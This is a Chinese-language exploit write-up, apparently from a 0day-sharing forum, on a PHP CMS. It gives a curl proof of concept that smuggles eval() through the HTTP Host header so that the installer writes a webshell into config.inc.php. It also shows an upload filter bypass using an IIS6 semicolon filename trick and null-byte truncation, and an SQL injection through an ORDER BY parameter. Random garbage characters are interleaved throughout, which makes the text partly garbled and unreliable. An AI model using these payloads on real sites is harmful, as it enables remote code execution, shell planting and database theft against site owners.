注入:0 {. g6 F4 K/ X4 e/ d
8 b! n! ?. S, v7 h: F3 `之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码7 s& Z2 b+ T, {
. e! L* X/ ^1 c* M, M+ M( H' e
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件 M& f' R" g( w! ]3 ?; j
鸡肋2: 有一定安全常识的站长都会删掉 install 目录. A8 a. J8 v" q& G
2 C B& i' `+ k' }
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响4 E! z( f O/ V0 A
. U, y1 \% T! L& F6 Y3 R
分析:6 h+ F% O( @0 N. Y, T7 ]: B
& F4 P0 ~, D3 `# H) V 4 ~. T) A3 s; j2 M. }
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤8 u! k- e& X: `# _. z$ z
0 s+ y- f; H, ?7 z- \1 s% u1 {0 p $filestr = fread(fopen($SysConfigFile, 'r'),30000);
6 m4 ?; i E+ z $filestr=str_replace(" ","",$filestr);& W; s B1 q1 \& G, w/ X. K
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);7 S! l3 k% P, Y4 b/ ~
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
$ z7 q& W( e. C. L! f $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ _$ V3 ^5 @, ^& {9 W" a $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
4 Y$ B2 W ^) J4 g3 [: m. v" u $filestr=str_replace("DefaultsLan","zh_cn",$filestr);3 v5 V3 m% I( z+ [
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);" V4 _1 G% Z" E7 C( j
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);. ]" C( c9 K) e7 V8 ?4 b% P
/ d3 L7 X- f# V/ {. \, l s fwrite(fopen($ConFile,"w"),$filestr,30000);
: I M9 D* i5 c1 ? {$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
8 c: h, E" J V) w3 \
6 B, Y: A$ g W1 p+ H& J+ e' Kpoc:
- m" x( p% P" U$ L6 c! T. D; \( P! k & t0 Y' M& {% D) x2 ?
?
( x5 ^/ z$ `# h1) w: c t7 H" O: c8 |9 ~* R
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
5 n' C: H. c. j* \" k" w) \4 Wshell地址: /config.inc.php
2 Y G) _7 V9 D) |: k: |: L8 P7 _$ b跟之前的 phpcms一样 需要远程数据库5 C v1 {2 k5 N4 {3 [# y- ^
& B! L J, n0 x$ ]+ s2 u——————————————————–0 }* M7 E+ Q2 @8 f1 V
上传漏洞(需要进后台):) I. e! d @) q2 Y" Y b' _% q$ ]; M
漏洞文件: /kedit/upload_cgi/upload.php( y+ q/ s8 M0 {$ e3 J1 V
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
|" v: I& W( n2 N6 g- B( Q: i ( l4 L* P6 e! v3 y( g" R7 U
; V$ A' {4 h# G9 E6 R' ?( s- n! j
<?php
) `4 E7 r4 T# U7 d' ~2 o0 |: f define("ROOTPATH", "../../");( s. D- ]9 M$ {4 I! r y) S- u6 |
include(ROOTPATH."includes/admin.inc.php");- p3 Q8 f$ b. Q4 R
NeedAuth(0);: v3 j+ \) B+ T. S2 E! t7 q" W
" J. _6 ]- G8 M2 V A0 a. U/ `
$dt=date("Ymd",time());: F: R8 s3 Q, P/ N1 j8 H5 u0 O* T
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
2 W% f/ t- P( R2 }; i1 n' g @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);. _ P% g3 D9 k; W9 w4 e5 V
}1 s. L' }3 G* ]( p& p$ A
! {* ?3 I: z9 V7 @% I1 r7 L
//文件保存目录路径
; b+ V6 Q7 B1 _3 I$ s$ \4 r $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
" m! j9 ~2 X X L, A echo $save_path; ?( a- v8 R. R0 D
//文件保存目录URL
) i7 @' g4 G S8 w* J! b4 T $save_url = '../../'.$_POST['attachPath'].$dt.'/';7 V8 ]* Y5 Q- z& v
x! \1 _3 Q7 M s( A! a
//定义允许上传的文件扩展名6 d0 ~$ X' p. b& k# b, i3 G1 p
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
9 ?! Z# ^ D) S: {1 A5 M/ A: O 8 C( o/ R7 U$ m# k, @* b2 m
//最大文件大小1 h' V$ b2 ?7 b5 H/ w. `
$max_size = 1000000;
( Y& q8 Y, a& G+ V* S% I/ X E+ W. Y$ y3 M" x) a$ e$ X
//更改目录权限7 ? G9 m! h3 B: {2 I1 y
@mkdir($save_path, 0777);4 [% e; D, H! k. I
. }( G( J: k; _ //文件的全部路径: k& a9 Y1 Z* w: m2 D
$file_path = $save_path.$_POST['fileName']; //保存文件名, Y/ O1 [! \' j8 h# `9 [
8 A' s. m/ h, K* G8 S( j //文件URL
4 |/ j+ Z$ t9 [. [* L3 g $file_url = $save_url.$_POST['fileName'];
# \- t% E+ \3 j$ |3 l8 y$ ?! \//有上传文件时
. H8 f& d. x k q: w! k0 O1 A2 O- ]4 g( p if (empty($_FILES) === false) {7 {" t, w' g. Q+ E. @1 c2 H
: h/ Z a, i" V8 y- f$ ^! b
//原文件名# i* E5 X, _$ @
$file_name = $_FILES['fileData']['name'];( c- O. V6 Z! P8 B7 k$ s6 e" S7 Y
//服务器上临时文件名, N6 ?" g& Z( g
$tmp_name = $_FILES['fileData']['tmp_name'];
L& {0 f2 d6 P( u' r //文件大小
7 x( S v0 g3 n4 b) {; G $file_size = $_FILES['fileData']['size'];/ A0 H) ~ n+ g- p# t; n w+ n) J
//检查目录
) ]- B' S0 J* d/ p$ e; ~. c( Y if (@is_dir($save_path) === false) {' p0 m5 a3 I* U' Q) I# Z
alert("上传目录不存在。");8 R* c* W( E6 @# ?5 s
}2 c+ v5 y6 I) b2 z
//检查目录写权限6 X# @3 g1 b& x8 N0 d2 p+ B
if (@is_writable($save_path) === false) {
' n! [1 ?. b) n4 ]1 d* H alert("上传目录没有写权限。");
- ]6 }) p% {4 @2 s; c }
: }# q/ V2 }3 A5 ]3 C //检查是否已上传
6 G( m2 l( N8 E3 A% Y# h# Y, X if (@is_uploaded_file($tmp_name) === false) {; i+ |) b5 W* ]9 B! r2 _
alert("临时文件可能不是上传文件。");
0 q% l+ @) ]1 W6 o }, j1 Y- l' S6 ?: \
//检查文件大小, S5 G' W6 l Y* {- s2 z
if ($file_size > $max_size) {/ `4 e0 m' ]* @ [1 S
alert("上传文件大小超过限制。");3 ^* t% w" o% ] S- n
}+ i# T) C7 p% s6 x
//获得文件扩展名
# A3 T2 }5 \% W: w8 v7 d/ _/ k2 J $temp_arr = explode(".", $_POST['fileName']);9 ^; i, D J* m6 R4 i9 ~4 e
$file_ext = array_pop($temp_arr);
2 {& t7 D1 L' ?5 }$ ^ $file_ext = trim($file_ext);
2 d# H! v; J1 T# H8 W8 } $file_ext = strtolower($file_ext);
6 T1 `9 F- d3 t/ `' _5 z
/ {+ D: @, w2 }1 ? //检查扩展名
* ~, \8 E1 e- E) J2 r if (in_array($file_ext, $ext_arr) === false) {
, E. Z* B8 G7 q, ` alert("上传文件扩展名是不允许的扩展名。");( n9 a# }4 d8 b6 b" q
}1 i8 t! ]3 ]) J$ l& @
) e. t# m$ f f! ~7 T //移动文件
, a/ b1 R( r: Y0 ` //未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^# ?- V+ d+ k8 G( @* J5 l
if (move_uploaded_file($tmp_name, $file_path) === false) {
- k$ R3 s% G ^) L3 ~: U alert("上传文件失败。");* N/ H% \' k9 a- f, |
}+ K( |: y( a: c- Y7 u" E6 m
' ~( [) `6 v' ?5 v @chmod($file_path,0666);( c8 a. z4 ?4 L) y4 x
_! t, A7 v; t) | ?>
9 N- L8 [2 k. e( X抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227- C0 {. t6 @' C% O* I3 h
' X* b) b& i" E) [7 j) p
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
7 U: R) c/ Z; S7 u6 P / x+ e6 p6 {, u' E7 D; e2 @
——————————————————
1 t# m1 q* D" r5 X注入漏洞:
' n* }" s9 K# A0 A8 _+ ]漏洞文件:search/module/search.php+ j4 k% c" U3 X/ j- N
/search/index.php?key=1&myord=1 [sqlinjection]
, f: U* n! K$ } t$ D; M , o+ G) w& D9 C( p D
. ~0 }; i* p, r1 R<?php
6 _; b: x0 d! M1 U% \; }. [ // ... 省略 n 行...4 \0 G5 |6 I6 m) N) V
//第18行:
9 A/ w" R7 U# z# b) i) Z9 a0 T# D. E $key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响8 E Z+ c w, o- H
$page=htmlspecialchars($_GET["page"]);
4 H: l0 J# @" W6 x$ e $myord=htmlspecialchars($_GET["myord"]);0 \" ~2 k9 Q3 t7 u1 f# x, n
( M+ o' e' Q' L$ r) v! j
// ... 省略 n 行...: g% l* `* Y4 W
$key,$myord 两个参数带入查询, L! S/ G' R0 e$ H) y0 G# s$ A
//第47行 $key:1 }3 x, r) _ {7 o- v w
: p2 F* I) f) x
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..! _3 S, q* e( Y6 W
* \& y2 T& _) V% ?- W0 \ //第197行 $myord/ B) G4 b0 @; Z4 m) ~# N' n
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入$ d" v$ E4 q1 g* ^
+ o1 k/ n$ q! w! L
?>
6 G# t( _) r |, p |